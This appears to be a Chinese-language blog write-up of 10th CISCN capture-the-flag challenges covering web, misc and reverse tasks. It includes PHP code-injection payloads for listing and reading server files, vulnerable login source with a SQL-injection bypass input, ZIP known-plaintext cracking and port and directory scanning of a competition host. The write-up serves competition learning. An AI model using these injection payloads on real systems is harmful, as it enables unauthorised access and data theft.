10th ciscn web/misc/mobile review

Web

php exercise

可能发现php code inject,思路是探目录,然后获取文件内容。
可以先使用;print(phpinfo());看一下禁用的函数。
赛后看了其他表哥的wp:
获取目录:

$dir="./";$file=scandir($dir);print_r($file);
2.
code=$f=[];$d=new DirectoryIterator("glob:///var/www/html/f*");var_dump($d);
3.
print_r(glob("**"));

之后include并 echo $flag或者showsource

wanna to see your hat

绿帽题盲测一脸懵,后来探到svn,down下来分析源码,发现重点在login.php

if (isset($_POST["name"])){
    $name = str_replace("'", "", trim(waf($_POST["name"])));
    if (strlen($name) > 11){
    echo("script>alert('name too long')</script>");
    }else{
      $sql = "select count(*) from t_info where username = '$name' or nickname = '$name'";
    echo $sql;
       $result = mysql_query($sql);
       $row = mysql_fetch_array($result);
       if ($row[0]){
         $_SESSION['hat'] = 'black';
         echo 'good job';
       }else{
	   $_SESSION['hat'] = 'green';
       }
       header("Location: index.php");
    }

其中common.php对全局post加addslash,之后login对'过滤,可保留\。构造name=or(1=1)#',拿到flag。
测试图:

flag vending machine

http://202.5.20.48
用户名buy时二次注入
参考大柠檬的wp

Misc

传感器1

已知ID为0x8893CA58的温度传感器的未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556
此时有另一个相同型号的传感器,其未解码报文为:3EAAAAA56A69AA556A965A5999596AA95656

被去年固有的思路坑了,后来才意识到曼彻斯特编码有两种,这道题使用了差分编码。具体自行wiki。
上code:

a = 0x3EAAAAA56A69AA55A95995A569AA95565556
b = 0x3EAAAAA56A69AA556A965A5999596AA95656
b2 = bin(b)
print b2
str = ""
for i in range(len(b2[2:])/2):
	
	a1 = b2[i*2:i*2+2]
	a2 = b2[i*2+2:i*2+4]
	
	if a2 !='10' and a2 !='01':
		continue
	if a1 !='10' and a1 !='01':
		continue
	if a1!=a2:
		str+='1'
	else:
		str+='0'
print str
print hex(int(ss,2)).upper()
#0X10024D8893CA584181L
#0X30024D8845ABF34119L

程序处理上,hex2bin开始的00未考虑,hex起始的特殊值未考虑,个人认为最后的应该为:0XB0024D8893CA584181L,但是不影响结果。(可能有误,请指正)

warmup

一道misc题warmup,题目给了一个加密的压缩包,根据第一条提示联想到了明文攻击,很快拿到了解密后的文件。
很久之前接触misc时遇到的明文攻击过程:http://blog.xmsec.cc/blog/2015/10/10/ZIP-pkcrack/
使用pkcrck(xp)或者AAPR pro 4.53版本,4.54没有跑出来。
之后双图观察后,大小差异比较大,可能嵌入信息,stegsolve未发现结果,后经指点,使用盲水印解出结果。
使用matlab或者blindwatermark(需要opencv-python)解出水印即可。

BadHacker

观察pacp文件后,搜索关键词tcp contains "flag",打开追踪可疑的包,如下:

根据通信server:202.5.20.47,无法访问。扫描端口得到22,443,8923 open,访问8923端口,得到404 Not Found nginx(misc.ichunqiu.com)
访问域名失败,加Host,加端口,访问是ichunqiu的页面,dir扫描,由于字典原因,刚开始扫不到mysql.bak,扫描到之后,下载,没有任何发现,想起来数据包里面说的行,搜索三种换行方式\r,\n,\r\n,得到三种结果。

将\r的行数拼起来,7103122139158200345694,md5后加flag{}是flag{8c573afb96563805644b4e7c8c711bf8}。

misc2

tcp contains "flag",追踪tcp流即可。或者编辑器打开直接搜flag。

Re

apk-crack

太菜了,看不懂java写的虚拟机...
根据flappypig的wp试了下,使用JEB2在simple类check返回处下断点,动态调试,可以拿到flag。前提是,需要把反调试代码去掉,删除wick.show()即可。

xmsec

作者:xmsec
Chief Water dispenser Manager, delivering but striving.
GitHub